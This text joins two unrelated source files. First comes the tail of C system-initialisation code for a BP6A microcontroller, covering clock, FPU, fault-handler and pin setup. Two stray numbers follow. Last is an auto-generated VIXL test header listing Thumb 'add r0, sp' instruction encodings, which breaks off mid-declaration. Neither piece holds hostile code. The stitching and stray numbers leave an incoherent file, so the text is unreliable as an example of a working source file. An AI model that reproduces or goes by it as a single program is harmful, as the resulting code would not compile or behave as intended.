PERI_CLOCK; /*---------------------------------------------------------------------------- Clock functions *----------------------------------------------------------------------------*/ static void peripheral_init(void) { /*AFE Voltage Config */ putreg32(&BP_AFE_TOP->REF_CTRL, 0x7A68201F); putreg32(&BP_AFE_TOP->AFE_CLK_CTRL, 0x08); } void SystemCoreClockUpdate(void) /* Get Core Clock Frequency */ { SystemCoreClock = bp6a_cmu_get_clock_freq(CMU_FCLK_AHBCLK); } static void pin_disable(void) { int i; for (i = 2; i < 14; i++) { putreg32(&BP_SYSCON->IOCFG[i], 0); } } void SystemInit(void) { /* Set floating point coprosessor access mode. */ #if (__FPU_USED == 1) SCB->CPACR |= ((3UL << 10 * 2) | (3UL << 11 * 2)); #endif #ifdef UNALIGNED_SUPPORT_DISABLE SCB->CCR |= SCB_CCR_UNALIGN_TRP_Msk; #endif /* USAGE/BUS/MEM FAULT ENABLE chenzhao */ SCB->SHCSR |= (1 << 18) | (1 << 17) | (1 << 16); bp6a_pum_init(); bp6a_cmu_init(CMU_SRC_CLK_HSOSC, CMU_SRC_CLK_LSOSC); bp6a_watchdog_enable(false); SystemCoreClock = bp6a_cmu_get_clock_freq(CMU_FCLK_AHBCLK); peripheral_init(); pin_disable(); }
827
573
// Copyright 2015, VIXL authors // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // * Neither the name of ARM Limited nor the names of its contributors may be // used to endorse or promote products derived from this software without // specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS CONTRIBUTORS "AS IS" AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // --------------------------------------------------------------------- // This file is auto generated using tools/generate_simulator_traces.py. // // PLEASE DO NOT EDIT. // --------------------------------------------------------------------- #ifndef VIXL_ASSEMBLER_COND_RD_SP_OPERAND_IMM8_ADD_T32_H_ #define VIXL_ASSEMBLER_COND_RD_SP_OPERAND_IMM8_ADD_T32_H_ const byte kInstruction_add_al_r0_sp_0x0[] = { 0x00, 0xa8 // add al r0 sp 0x0 }; const byte kInstruction_add_al_r0_sp_0x4[] = { 0x01, 0xa8 // add al r0 sp 0x4 }; const byte kInstruction_add_al_r0_sp_0x8[] = { 0x02, 0xa8 // add al r0 sp 0x8 }; const byte kInstruction_add_al_r0_sp_0xc[] = { 0x03, 0xa8 // add al r0 sp 0xc }; const byte kInstruction_add_al_r0_sp_0x10[] = { 0x04, 0xa8 // add al r0 sp 0x10 }; const byte kInstruction_add_al_r0_sp_0x14[] = { 0x05, 0xa8 // add al r0 sp 0x14 }; const byte kInstruction_add_al_r0_sp_0x18[] = { 0x06, 0xa8 // add al r0 sp 0x18 }; const byte kInstruction_add_al_r0_sp_0x1c[] = { 0x07, 0xa8 // add al r0 sp 0x1c }; const byte kInstruction_add_al_r0_sp_0x20[] = { 0x08, 0xa8 // add al r0 sp 0x20 }; const byte kInstruction_add_al_r0_sp_0x24[] = { 0x09, 0xa8 // add al r0 sp 0x24 }; const byte kInstruction_add_al_r0_sp_0x28[] = { 0x0a, 0xa8 // add al r0 sp 0x28 }; const byte kInstruction_add_al_r0_sp_0x2c[] = { 0x0b, 0xa8 // add al r0 sp 0x2c }; const byte kInstruction_add_al_r0_sp_0x30[] = { 0x0c, 0xa8 // add al r0 sp 0x30 }; const byte kInstruction_add_al_r0_sp_0x34[] = { 0x0d, 0xa8 // add al r0 sp 0x34 }; const byte kInstruction_add_al_r0_sp_0x38[] = { 0x0e, 0xa8 // add al r0 sp 0x38 }; const byte kInstruction_add_al_r0_sp_0x3c[] = { 0x0f, 0xa8 // add al r0 sp 0x3c }; const byte kInstruction_add_al_r0_sp_0x40[] = { 0x10, 0xa8 // add al r0 sp 0x40 }; const byte kInstruction_add_al_r0_sp_0x44[] = { 0x11, 0xa8 // add al r0 sp 0x44 }; const byte kInstruction_add_al_r0_sp_0x48[] = { 0x12, 0xa8 // add al r0 sp 0x48 }; const byte kInstruction_add_al_r0_sp_0x4c[] = { 0x13, 0xa8 // add al r0 sp 0x4c }; const byte kInstruction_add_al_r0_sp_0x50[] = { 0x14, 0xa8 // add al r0 sp 0x50 }; const byte kInstruction_add_al_r0_sp_0x54[] = { 0x15, 0xa8 // add al r0 sp 0x54 }; const byte kInstruction_add_al_r0_sp_0x58[] = { 0x16, 0xa8 // add al r0 sp 0x58 }; const byte kInstruction_add_al_r0_sp_0x5c[] = { 0x17, 0xa8 // add al r0 sp 0x5c }; const byte kInstruction_add_al_r0_sp_0x60[] = { 0x18, 0xa8 // add al r0 sp 0x60 }; const byte kInstruction_add_al_r0_sp_0x64[] = { 0x19, 0xa8 // add al r0 sp 0x64 }; const byte kInstruction_add_al_r0_sp_0x68[] = { 0x1a, 0xa8 // add al r0 sp 0x68 }; const byte kInstruction_add_al_r0_sp_0x6c[] = { 0x1b, 0xa8 // add al r0 sp 0x6c }; const byte kInstruction_add_al_r0_sp_0x70[] = { 0x1c, 0xa8 // add al r0 sp 0x70 }; const byte kInstruction_add_al_r0_sp_0x74[] = { 0x1d, 0xa8 // add al r0 sp 0x74 }; const byte kInstruction_add_al_r0_sp_0x78[] = { 0x1e, 0xa8 // add al r0 sp 0x78 }; const byte kInstruction_add_al_r0_sp_0x7c[] = { 0x1f, 0xa8 // add al r0 sp 0x7c }; const byte kInstruction_add_al_r0_sp_0x80[] = { 0x20, 0xa8 // add al r0 sp 0x80 }; const byte kInstruction_add_al_r0_sp_0x84[] = { 0x21, 0xa8 // add al r0 sp 0x84 }; const byte kInstruction_add_al_r0_sp_0x88[] = { 0x22, 0xa8 // add al r0 sp 0x88 }; const byte kInstruction_add_al_r0_sp_0x8c[] = { 0x23, 0xa8 // add al r0 sp 0x8c }; const byte kInstruction_add_al_r0_sp_0x90[] = { 0x24, 0xa8 // add al r0 sp 0x90 }; const byte kInstruction_add_al_r0_sp_0x94[] = { 0x25, 0xa8 // add al r0 sp 0x94 }; const byte kInstruction_add_al_r0_sp_0x98[] = { 0x26, 0xa8 // add al r0 sp 0x98 }; const byte kInstruction_add_al_r0_sp_0x9c[] = { 0x27, 0xa8 // add al r0 sp 0x9c }; const byte kInstruction_add_al_r0_sp_0xa0[] = { 0x28, 0xa8 // add al r0 sp 0xa0 }; const byte kInstruction_add_al_r0_sp_0xa4[] = { 0x29, 0xa8 // add al r0 sp 0xa4 }; const byte kInstruction_add_al_r0_sp_0xa8[] = { 0x2a, 0xa8 // add al r0 sp 0xa8 }; const byte kInstruction_add_al_r0_sp_0xac[] = { 0x2b, 0xa8 // add al r0 sp 0xac }; const byte kInstruction_add_al_r0_sp_0xb0[] = { 0x2c, 0xa8 // add al r0 sp 0xb0 }; const byte kInstruction_add_al_r0_sp_0xb4[] = { 0x2d, 0xa8 // add al r0 sp 0xb4 }; const byte kInstruction_add_al_r0_sp_0xb8[] = { 0x2e, 0xa8 // add al r0 sp 0xb8 }; const byte kInstruction_add_al_r0_sp_0xbc[] = { 0x2f, 0xa8 // add al r0 sp 0xbc }; const byte kInstruction_add_al_r0_sp_0xc0[] = { 0x30, 0xa8 // add al r0 sp 0xc0 }; const byte kInstruction_add_al_r0_sp_0xc4[] = { 0x31, 0xa8 // add al r0 sp 0xc4 }; const byte kInstruction_add_al_r0_sp_0xc8[] = { 0x32, 0xa8 // add al r0 sp 0xc8 }; const byte kInstruction_add_al_r0_sp_0xcc[] = { 0x33, 0xa8 // add al r0 sp 0xcc }; const byte kInstruction_add_al_r0_sp_0xd0[] = { 0x34, 0xa8 // add al r0 sp 0xd0 }; const byte kInstruction_add_al_r0_sp_0xd4[] = { 0x35, 0xa8 // add al r0 sp 0xd4 }; const byte kInstruction_add_al_r0_sp_0xd8[] = { 0x36, 0xa8 // add al r0 sp 0xd8 }; const byte kInstruction_add_al_r0_sp_0xdc[] = { 0x37, 0xa8 // add al r0 sp 0xdc }; const byte kInstruction_add_al_r0_sp_0xe0[] = { 0x38, 0xa8 // add al r0 sp 0xe0 }; const byte kInstruction_add_al_r0_sp_0xe4[] = { 0x39, 0xa8 // add al r0 sp 0xe4 }; const byte kInstruction_add_al_r0_sp_0xe8[] = { 0x3a, 0xa8 // add al r0 sp 0xe8 }; const byte kInstruction_add_al_r0_sp_0xec[] = { 0x3b, 0xa8 // add al r0 sp 0xec }; const byte kInstruction_add_al_r0_sp_0xf0[] = { 0x3c, 0xa8 // add al r0 sp 0xf0 }; const byte kInstruction_add_al_r0_sp_0xf4[] = { 0x3d, 0xa8 // add al r0 sp 0xf4 }; const byte kInstruction_add_al_r0_sp_0xf8[] = { 0x3e, 0xa8 // add al r0 sp 0xf8 }; const byte kInstruction_add_al_r0_sp_0xfc[] = { 0x3f, 0xa8 // add al r0 sp 0xfc }; const byte kInstruction_add_al_r0_sp_0x100[] = { 0x40, 0xa8 // add al r0 sp 0x100 }; const byte kInstruction_add_al_r0_sp_0x104[] = { 0x41, 0xa8 // add al r0 sp 0x104 }; const byte kInstruction_add_al_r0_sp_0x108[] = { 0x42, 0xa8 // add al r0 sp 0x108 }; const byte kInstruction_add_al_r0_sp_0x10c[] = { 0x43, 0xa8 // add al r0 sp 0x10c }; const byte kInstruction_add_al_r0_sp_0x110[] = { 0x44, 0xa8 // add al r0 sp 0x110 }; const byte kInstruction_add_al_r0_sp_0x114[] = { 0x45, 0xa8 // add al r0 sp 0x114 }; const byte kInstruction_add_al_r0_sp_0x118[] = { 0x46, 0xa8 // add al r0 sp 0x118 }; const byte kInstruction_add_al_r0_sp_0x11c[] = { 0x47, 0xa8 // add al r0 sp 0x11c }; const byte kInstruction_add_al_r0_sp_0x120[] = { 0x48, 0xa8 // add al r0 sp 0x120 }; const byte kInstruction_add_al_r0_sp_0x124[] = { 0x49, 0xa8 // add al r0 sp 0x124 }; const byte kInstruction_add_al_r0_sp_0x128[] = { 0x4a, 0xa8 // add al r0 sp 0x128 }; const byte kInstruction_add_al_r0_sp_0x12c[] = { 0x4b, 0xa8 // add al r0 sp 0x12c }; const byte kInstruction_add_al_r0_sp_0x130[] = { 0x4c, 0xa8 // add al r0 sp 0x130 }; const byte kInstruction_add_al_r0_sp_0x134[] = { 0x4d, 0xa8 // add al r0 sp 0x134 }; const byte kInstruction_add_al_r0_sp_0x138[] = { 0x4e, 0xa8 // add al r0 sp 0x138 }; const byte kInstruction_add_al_r0_sp_0x13c[] = { 0x4f, 0xa8 // add al r0 sp 0x13c }; const byte kInstruction_add_al_r0_sp_0x140[] = { 0x50, 0xa8 // add al r0 sp 0x140 }; const byte kInstruction_add_al_r0_sp_0x144[] = { 0x51, 0xa8 // add al r0 sp 0x144 }; const byte kInstruction_add_al_r0_sp_0x148[] = { 0x52, 0xa8 // add al r0 sp 0x148 }; const byte kInstruction_add_al_r0_sp_0x14c[] = { 0x53, 0xa8 // add al r0 sp 0x14c }; const byte kInstruction_add_al_r0_sp_0x150[] = { 0x54, 0xa8 // add al r0 sp 0x150 }; const byte kInstruction_add_al_r0_sp_0x154[] = { 0x55, 0xa8 // add al r0 sp 0x154 }; const byte kInstruction_add_al_r0_sp_0x158[] = { 0x56, 0xa8 // add al r0 sp 0x158 }; const byte kInstruction_add_al_r0_sp_0x15c[] = { 0x57, 0xa8 // add al r0 sp 0x15c }; const byte kInstruction_add_al_r0_sp_0x160[] = { 0x58, 0xa8 // add al r0 sp 0x160 }; const byte kInstruction_add_al_r0_sp_0x164[] = { 0x59, 0xa8 // add al r0 sp 0x164 }; const byte kInstruction_add_al_r0_sp_0x168[] = { 0x5a, 0xa8 // add al r0 sp 0x168 }; const byte kInstruction_add_al_r0_sp_0x16c[] = { 0x5b, 0xa8 // add al r0 sp 0x16c }; const byte kInstruction_add_al_r0_sp_0x170[] = { 0x5c, 0xa8 // add al r0 sp 0x170 }; const byte kInstruction_add_al_r0_sp_0x174[] = { 0x5d, 0xa8 // add al r0 sp 0x174 }; const byte kInstruction_add_al_r0_sp_0x178[] = { 0x5e, 0xa8 // add al r0 sp 0x178 }; const byte kInstruction_add_al_r0_sp_0x17c[] = { 0x5f, 0xa8 // add al r0 sp 0x17c }; const byte kInstruction_add_al_r0_sp_0x180[] = { 0x60, 0xa8 // add al r0 sp 0x180 }; const byte kInstruction_add_al_r0_sp_0x184[] = { 0x61, 0xa8 // add al r0 sp 0x184 }; const byte kInstruction_add_al_r0_sp_0x188[] = { 0x62, 0xa8 // add al r0 sp 0x188 }; const byte kInstruction_add_al_r0_sp_0x18c[] = { 0x63, 0xa8 // add al r0 sp 0x18c }; const byte kInstruction_add_al_r0_sp_0x190[] = { 0x64, 0xa8 // add al r0 sp 0x190 }; const byte kInstruction_add_al_r0_sp_0x194[] = { 0x65, 0xa8 // add al r0 sp 0x194 }; const byte kInstruction_add_al_r0_sp_0x198[] = { 0x66, 0xa8 // add al r0 sp 0x198 }; const byte kInstruction_add_al_r0_sp_0x19c[] = { 0x67, 0xa8 // add al r0 sp 0x19c }; const byte kInstruction_add_al_r0_sp_0x1a0[] = { 0x68, 0xa8 // add al r0 sp 0x1a0 }; const byte kInstruction_add_al_r0_sp_0x1a4[] = { 0x69, 0xa8 // add al r0 sp 0x1a4 }; const byte kInstruction_add_al_r0_sp_0x1a8[] = { 0x6a, 0xa8 // add al r0 sp 0x1a8 }; const byte kInstruction_add_al_r0_sp_0x1ac[] = { 0x6b, 0xa8 // add al r0 sp 0x1ac }; const byte kInstruction_add_al_r0_sp_0x1b0[] = { 0x6c, 0xa8 // add al r0 sp 0x1b0 }; const byte kInstruction_add_al_r0_sp_0x1b4[] = { 0x6d, 0xa8 // add al r0 sp 0x1b4 }; const byte kInstruction_add_al_r0_sp_0x1b8[] = { 0x6e, 0xa8 // add al r0 sp 0x1b8 }; const byte kInstruction_add_al_r0_sp_0x1bc[] = { 0x6f, 0xa8 // add al r0 sp 0x1bc }; const byte kInstruction_add_al_r0_sp_0x1c0[] = { 0x70, 0xa8 // add al r0 sp 0x1c0 }; const byte kInstruction_add_al_r0_sp_0x1c4[] = { 0x71, 0xa8 // add al r0 sp 0x1c4 }; const byte kInstruction_add_al_r0_sp_0x1c8[] = { 0x72, 0xa8 // add al r0 sp 0x1c8 }; const byte kInstruction_add_al_r0_sp_0x1cc[] = { 0x73, 0xa8 // add al r0 sp 0x1cc }; const byte kInstruction_add_al_r0_sp_0x1d0[] = { 0x74, 0xa8 // add al r0 sp 0x1d0 }; const byte kInstruction_add_al_r0_sp_0x1d4[] = { 0x75, 0xa8 // add al r0 sp 0x1d4 }; const byte kInstruction_add_al_r0_sp_0x1d8[] = { 0x76, 0xa8 // add al r0 sp 0x1d8 }; const byte kInstruction_add_al_r0_sp_0x1dc[] = { 0x77, 0xa8 // add al r0 sp 0x1dc }; const byte kInstruction_add_al_r0_sp_0x1e0[] = { 0x78, 0xa8 // add al r0 sp 0x1e0 }; const byte kInstruction_add_al_r0_sp_0x1e4[] = { 0x79, 0xa8 // add al r0 sp 0x1e4 }; const byte kInstruction_add_al_r0_sp_0x1e8[] = { 0x7a, 0xa8 // add al r0 sp 0x1e8 }; const byte kInstruction_add_al_r0_sp_0x1ec[] = { 0x7b, 0xa8 // add al r0 sp 0x1ec }; const byte kInstruction_add_al_r0_sp_0x1f0[] = { 0x7c, 0xa8 // add al r0 sp 0x1f0 }; const byte kInstruction_add_al_r0_sp_0x1f4[] = { 0x7d, 0xa8 // add al r0 sp 0x1f4 }; const byte kInstruction_add_al_r0_sp_0x1f8[] = { 0x7e, 0xa8 // add al r0 sp 0x1f8 }; const byte kInstruction_add_al_r0_sp_0x1fc[] = { 0x7f, 0xa8 // add al r0 sp 0x1fc }; const byte kInstruction_add_al_r0_sp_0x200[] = { 0x80, 0xa8 // add al r0 sp 0x200 }; const byte kInstruction_add_al_r0_sp_0x204[] = { 0x81, 0xa8 // add al r0 sp 0x204 }; const byte kInstruction_add_al_r0_sp_0x208[] = { 0x82, 0xa8 // add al r0 sp 0x208 }; const byte kInstruction_add_al_r0_sp_0x20c[] = { 0x83, 0xa8 // add al r0 sp 0x20c }; const byte kInstruction_add_al_r0_sp_0x210[] = { 0x84, 0xa8 // add al r0 sp 0x210 }; const byte kInstruction_add_al_r0_sp_0x214[] = { 0x85, 0xa8 // add al r0 sp 0x214 }; const byte kInstruction_add_al_r0_sp_0x218[] = { 0x86, 0xa8 // add al r0 sp 0x218 }; const byte kInstruction_add_al_r0_sp_0x21c[] = { 0x87, 0xa8 // add al r0 sp 0x21c }; const byte kInstruction_add_al_r0_sp_0x220[] = { 0x88, 0xa8 // add al r0 sp 0x220 }; const byte kInstruction_add_al_r0_sp_0x224[] = { 0x89, 0xa8 // add al r0 sp 0x224 }; const byte kInstruction_add_al_r0_sp_0x228[] = { 0x8a, 0xa8 // add al r0 sp 0x228 }; const byte kInstruction_add_al_r0_sp_0x22c[] = { 0x8b, 0xa8 // add al r0 sp 0x22c }; const byte kInstruction_add_al_r0_sp_0x230[] = { 0x8c, 0xa8 // add al r0 sp 0x230 }; const byte kInstruction_add_al_r0_sp_0x234[] = { 0x8d, 0xa8 // add al r0 sp 0x234 }; const byte kInstruction_add_al_r0_sp_0x238[] = { 0x8e, 0xa8 // add al r0 sp 0x238 }; const byte kInstruction_add_al_r0_sp_0x23c[] = { 0x8f, 0xa8 // add al r0 sp 0x23c }; const byte kInstruction_add_al_r0_sp_0x240[] = { 0x90, 0xa8 // add al r0 sp 0x240 }; const byte kInstruction_add_al_r0_sp_0x244[] = { 0x91, 0xa8 // add al r0 sp 0x244 }; const byte kInstruction_add_al_r0_sp_0x248[] = { 0x92, 0xa8 // add al r0 sp 0x248 }; const byte kInstruction_add_al_r0_sp_0x24c[] = { 0x93, 0xa8 // add al r0 sp 0x24c }; const byte kInstruction_add_al_r0_sp_0x250[] = { 0x94, 0xa8 // add al r0 sp 0x250 }; const byte kInstruction_add_al_r0_sp_0x254[] = { 0x95, 0xa8 // add al r0 sp 0x254 }; const byte kInstruction_add_al_r0_sp_0x258[] = { 0x96, 0xa8 // add al r0 sp 0x258 }; const byte kInstruction_add_al_r0_sp_0x25c[] = { 0x97, 0xa8 // add al r0 sp 0x25c }; const byte kInstruction_add_al_r0_sp_0x260[] = { 0x98, 0xa8 // add al r0 sp 0x260 }; const byte kInstruction_add_al_r0_sp_0x264[] = { 0x99, 0xa8 // add al r0 sp 0x264 }; const byte kInstruction_add_al_r0_sp_0x268[] = { 0x9a, 0xa8 // add al r0 sp 0x268 }; const byte kInstruction_add_al_r0_sp_0x26c[] = { 0x9b, 0xa8 // add al r0 sp 0x26c }; const byte kInstruction_add_al_r0_sp_0x270[] = { 0x9c, 0xa8 // add al r0 sp 0x270 }; const byte kInstruction_add_al_r0_sp_0x274[] = { 0x9d, 0xa8 // add al r0 sp 0x274 }; const byte kInstruction_add_al_r0_sp_0x278[] = { 0x9e, 0xa8 // add al r0 sp 0x278 }; const byte kInstruction_add_al_r0_sp_0x27c[] = { 0x9f, 0xa8 // add al r0 sp 0x27c }; const byte kInstruction_add_al_r0_sp_0x280[] = { 0xa0, 0xa8 // add al r0 sp 0x280 }; const byte kInstruction_add_al_r0_sp_0x284[] = { 0xa1, 0xa8 // add al r0 sp 0x284 }; const byte kInstruction_add_al_r0_sp_0x288[] = { 0xa2, 0xa8 // add al r0 sp 0x288 }; const byte kInstruction_add_al_r0_sp_0x28c[] = { 0xa3, 0xa8 // add al r0 sp 0x28c }; const byte kInstruction_add_al_r0_sp_0x290[] = { 0xa4, 0xa8 // add al r0 sp 0x290 }; const byte kInstruction_add_al_r0_sp_0x294[] = { 0xa5, 0xa8 // add al r0 sp 0x294 }; const byte kInstruction_add_al_r0_sp_0x298[] = { 0xa6, 0xa8 // add al r0 sp 0x298 }; const byte kInstruction_add_al_r0_sp_0x29c[] = { 0xa7, 0xa8 // add al r0 sp 0x29c }; const byte kInstruction_add_al_r0_sp_0x2a0[] = { 0xa8, 0xa8 // add al r0 sp 0x2a0 }; const byte kInstruction_add_al_r0_sp_0x2a4[] = { 0xa9, 0xa8 // add al r0 sp 0x2a4 }; const byte kInstruction_add_al_r0_sp_0x2a8[] = { 0xaa, 0xa8 // add al r0 sp 0x2a8 }; const byte kInstruction_add_al_r0_sp_0x2ac[] = { 0xab, 0xa8 // add al r0 sp 0x2ac }; const byte kInstruction_add_al_r0_sp_0x2b0[] = { 0xac, 0xa8 // add al r0 sp 0x2b0 }; const byte kInstruction_add_al_r0_sp_0x2b4[] = { 0xad, 0xa8 // add al r0 sp 0x2b4 }; const byte kInstruction_add_al_r0_sp_0x2b8[] = { 0xae, 0xa8 // add al r0 sp 0x2b8 }; const byte kInstruction_add_al_r0_sp_0x2bc[] = { 0xaf, 0xa8 // add al r0 sp 0x2bc }; const byte kInstruction_add_al_r0_sp_0x2c0[] = { 0xb0, 0xa8 // add al r0 sp 0x2c0 }; const byte kInstruction_add_al_r0_sp_0x2c4[] = { 0xb1, 0xa8 // add al r0 sp 0x2c4 }; const byte kInstruction_add_al_r0_sp_0x2c8[] = { 0xb2, 0xa8 // add al r0 sp 0x2c8 }; const byte kInstruction_add_al_r0_sp_0x2cc[] = { 0xb3, 0xa8 // add al r0 sp 0x2cc }; const byte kInstruction_add_al_r0_sp_0x2d0[] = { 0xb4, 0xa8 // add al r0 sp 0x2d0 }; const byte kInstruction_add_al_r0_sp_0x2d4[] = { 0xb5, 0xa8 // add al r0 sp 0x2d4 }; const byte kInstruction_add_al_r0_sp_0x2d8[] = { 0xb6, 0xa8 // add al r0 sp 0x2d8 }; const byte kInstruction_add_al_r0_sp_0x2dc[] = { 0xb7, 0xa8 // add al r0 sp 0x2dc }; const byte kInstruction_add_al_r0_sp_0x2e0[] = { 0xb8, 0xa8 // add al r0 sp 0x2e0 }; const byte kInstruction_add_al_r0_sp_0x2e4[] = { 0xb9, 0xa8 // add al r0 sp 0x2e4 }; const byte kInstruction_add_al_r0_sp_0x2e8[] = { 0xba, 0xa8 // add al r0 sp 0x2e8 }; const byte kInstruction_add_al_r0_sp_0x2ec[] = { 0xbb, 0xa8 // add al r0 sp 0x2ec }; const byte kInstruction_add_al_r0_sp_0x2f0[] = { 0xbc, 0xa8 // add al r0 sp 0x2f0 }; const byte kInstruction_add_al_r0_sp_0x2f4[] = { 0xbd, 0xa8 // add al r0 sp 0x2f4 }; const byte kInstruction_add_al_r0_sp_0x2f8[] = { 0xbe, 0xa8 // add al r0 sp 0x2f8 }; const byte kInstruction_add_al_r0_sp_0x2fc[] = { 0xbf, 0xa8 // add al r0 sp 0x2fc }; const byte kInstruction_add_al_r0_sp_0x300[] = { 0xc0, 0xa8 // add al r0 sp 0x300 }; const byte kInstruction_add_al_r0_sp_0x304[] = { 0xc1, 0xa8 // add al r0 sp 0x304 }; const byte kInstruction_add_al_r0_sp_0x308[] = { 0xc2, 0xa8 // add al r0 sp 0x308 }; const byte kInstruction_add_al_r0_sp_0x30c[] = { 0xc3, 0xa8 // add al r0 sp 0x30c }; const byte kInstruction_add_al_r0_sp_0x310[] = { 0xc4, 0xa8 // add al r0 sp 0x310 }; const byte kInstruction_add_al_r0_sp_0x314[] = { 0xc5, 0xa8 // add al r0 sp 0x314 }; const byte kInstruction_add_al_r0_sp_0x318[] = { 0xc6, 0xa8 // add al r0 sp 0x318 }; const byte kInstruction_add_al_r0_sp_0x31c[] = { 0xc7, 0xa8 // add al r0 sp 0x31c }; const byte kInstruction_add_al_r0_sp_0x320[] = { 0xc8, 0xa8 // add al r0 sp 0x320 }; const byte kInstruction_add_al_r0_sp_0x324[] = { 0xc9, 0xa8 // add al r0 sp 0x324 }; const byte kInstruction_add_al_r0_sp_0x328[] = { 0xca, 0xa8 // add al r0 sp 0x328 }; const byte kInstruction_add_al_r0_sp_0x32c[] = { 0xcb, 0xa8 // add al r0 sp 0x32c }; const byte kInstruction_add_al_r0_sp_0x330[] = { 0xcc, 0xa8 // add al r0 sp 0x330 }; const byte kInstruction_add_al_r0_sp_0x334[] = { 0xcd, 0xa8 // add al r0 sp 0x334 }; const byte kInstruction_add_al_r0_sp_0x338[] = { 0xce, 0xa8 // add al r0 sp 0x338 }; const byte kInstruction_add_al_r0_sp_0x33c[] = { 0xcf, 0xa8 // add al r0 sp 0x33c }; const byte kInstruction_add_al_r0_sp_0x340[] = { 0xd0, 0xa8 // add al r0 sp 0x340 }; const byte kInstruction_add_al_r0_sp_0x344[] = { 0xd1, 0xa8 // add al r0 sp 0x344 }; const byte kInstruction_add_al_r0_sp_0x348[] = { 0xd2, 0xa8 // add al r0 sp 0x348 }; const byte kInstruction_add_al_r0_sp_0x34c[] = { 0xd3, 0xa8 // add al r0 sp 0x34c }; const byte kInstruction_add_al_r0_sp_0x350[] = { 0xd4, 0xa8 // add al r0 sp 0x350 }; const byte kInstruction_add_al_r0_sp_0x354[] = { 0xd5, 0xa8 // add al r0 sp 0x354 }; const byte kInstruction_add_al_r0_sp_0x358[] = { 0xd6, 0xa8 // add al r0 sp 0x358 }; const byte kInstruction_add_al_r0_sp_0x35c[] = { 0xd7, 0xa8 // add al r0 sp 0x35c }; const byte kInstruction_add_al_r0_sp_0x360[] = { 0xd8, 0xa8 // add al r0 sp 0x360 }; const byte kInstruction_add_al_r0_sp_0x364[] = { 0xd9, 0xa8 // add al r0 sp 0x364 }; const byte kInstruction_add_al_r0_sp_0x368[] = { 0xda, 0xa8 // add al r0 sp 0x368 }; const byte kInstruction_add_al_r0_sp_0x36c[] = { 0xdb, 0xa8 // add al r0 sp 0x36c }; const byte kInstruction_add_al_r0_sp_0x370[] = { 0xdc, 0xa8 // add al r0 sp 0x370 }; const byte kInstruction_add_al_r0_sp_0x374[] = { 0xdd, 0xa8 // add al r0 sp 0x374 }; const byte kInstruction_add_al_r0_sp_0x378[] = { 0xde, 0xa8 // add al r0 sp 0x378 }; const byte kInstruction_add_al_r0_sp_0x37c[] = { 0xdf, 0xa8 // add al r0 sp 0x37c }; const byte kInstruction_add_al_r0_sp_0x380[] = { 0xe0, 0xa8 // add al r0 sp 0x380 }; const byte kInstruction_add_al_r0_sp_0x384[] = { 0xe1, 0xa8 // add al r0 sp 0x384 }; const byte kInstruction_add_al_r0_sp_0x388[] = { 0xe2, 0xa8 // add al r0 sp 0x388 }; const byte kInstruction_add_al_r0_sp_0x38c[] = { 0xe3, 0xa8 // add al r0 sp 0x38c }; const byte kInstruction_add_al_r0_sp_0x390[] = { 0xe4, 0xa8 // add al r0 sp 0x390 }; const byte kInstruction_add_al_r0_sp_0x394[] = { 0xe5, 0xa8 // add al r0 sp 0x394 }; const byte kInstruction_add_al_r0_sp_0x398[] = { 0xe6, 0xa8 // add al r0 sp 0x398 }; const byte kInstruction_add_al_r0_sp_0x39c[] = { 0xe7, 0xa8 // add al r0 sp 0x39c }; const byte kInstruction_add_al_r0_sp_0x3a0[] = { 0xe8, 0xa8 // add al r0 sp 0x3a0 }; const byte kInstruction_add_al_r0_sp_0x3a4[] = { 0xe9, 0xa8 // add al r0 sp 0x3a4 }; const byte kInstruction_add_al_r0_sp_0x3a8[] = { 0xea, 0xa8 // add al r0 sp 0x3a8 }; const byte kInstruction_add_al_r0_sp_0x3ac[] = { 0xeb, 0xa8 // add al r0 sp 0x3ac }; const byte kInstruction_add_al_r0_sp_0x3b0[] = { 0xec, 0xa8 // add al r0 sp 0x3b0 }; const byte kInstruction_add_al_r0_sp_0x3b4[] = { 0xed, 0xa8 // add al r0 sp 0x3b4 }; const byte kInstruction_add_al_r0_sp_0x3b8[] = { 0xee, 0xa8 // add al r0 sp 0x3b8 }; const byte kInstruction_add_al_r0_sp_0x3bc[] = { 0xef, 0xa8 // add al r0 sp 0x3bc }; const byte kInstruction_add_al_r0_sp_0x3c0[] = { 0xf0, 0xa8 // add al r0 sp 0x3c0 }; const byte kInstruction_add_al_r0_sp_0x3c4[] = { 0xf1, 0xa8 // add al r0 sp 0x3c4 }; const byte kInstruction_add_al_r0_sp_0x3c8[] = { 0xf2, 0xa8 // add al r0 sp 0x3c8 }; const byte kInstruction_add_al_r0_sp_0x3cc[] = { 0xf3, 0xa8 // add al r0 sp 0x3cc }; const byte kInstruction_add_al_r0_sp_0x3d0[] = { 0xf4, 0xa8 // add al r0 sp 0x3d0 }; const byte kInstruction_add_al_r0_sp_0x3d4[] = { 0xf5, 0xa8 // add al r0 sp 0x3d4 }; const byte kInstruction_add_al_r0_sp_0x3d8[] = { 0xf6, 0xa8 // add al r0 sp 0x3d8 }; const byte kInstruction_add_al_r0_sp_0x3dc[] = { 0xf7, 0xa8 // add al r0 sp 0x3dc }; const byte kInstruction_add_al_r0_sp_0x3e0[] = { 0xf8, 0xa8 // add al r0 sp 0x3e0 }; const byte kInstruction_add_al_r0_sp_0x3e4[] = { 0xf9, 0xa8 // add al r0 sp 0x3e4 }; const byte 